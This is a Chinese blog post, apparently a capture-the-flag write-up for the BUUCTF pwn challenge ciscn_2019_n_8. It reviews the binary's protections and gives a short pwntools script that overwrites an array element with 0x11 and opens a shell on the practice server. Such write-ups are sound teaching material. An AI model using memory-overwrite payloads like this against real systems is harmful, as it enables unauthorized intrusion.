pwn刷题num27-----内存地址覆盖修改数组元素值

最新推荐文章于 2024-11-09 19:45:52 发布

tbsqigongzi

最新推荐文章于 2024-11-09 19:45:52 发布

阅读量772

点赞数

分类专栏： BUUCTF pwn CTF 文章标签：系统安全 c语言安全 python 网络安全

本文链接：https://blog.csdn.net/tbsqigongzi/article/details/124457179

版权

pwn 同时被 3 个专栏收录

67 篇文章 5 订阅

订阅专栏

CTF

61 篇文章 1 订阅

订阅专栏

BUUCTF

36 篇文章 0 订阅

订阅专栏

BUUCTF-PWN-ciscn_2019_n_8

首先查保护–>看链接类型–>赋予程序可执行权限–>试运行在这里插入图片描述

32位程序，小端序
开启部分RELRO-----got表可写
开启canary保护-----栈溢出需绕过
开启NX保护-----堆栈不可执行
开启PIE-----内存地址随机化
动态链接

ida一下看一下主函数
在这里插入图片描述
先是用一个scanf输入一个name，存在var里，之后观察这个if语句，var[13]只要为17（0x11）就可以调用system函数，获得shell
exp

from pwn import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序，linux系统，32位架构,debug
sh = remote('node4.buuoj.cn',25777)
payload = flat(['a' * 13 * 4,0x11])  #32位程序，每个数组元素占4字节，先将var[0]到var[12]填为a，之后将var[13]填为17（0x11）
sh.sendline(payload)
sh.interactive()

运行获得shell

在这里插入图片描述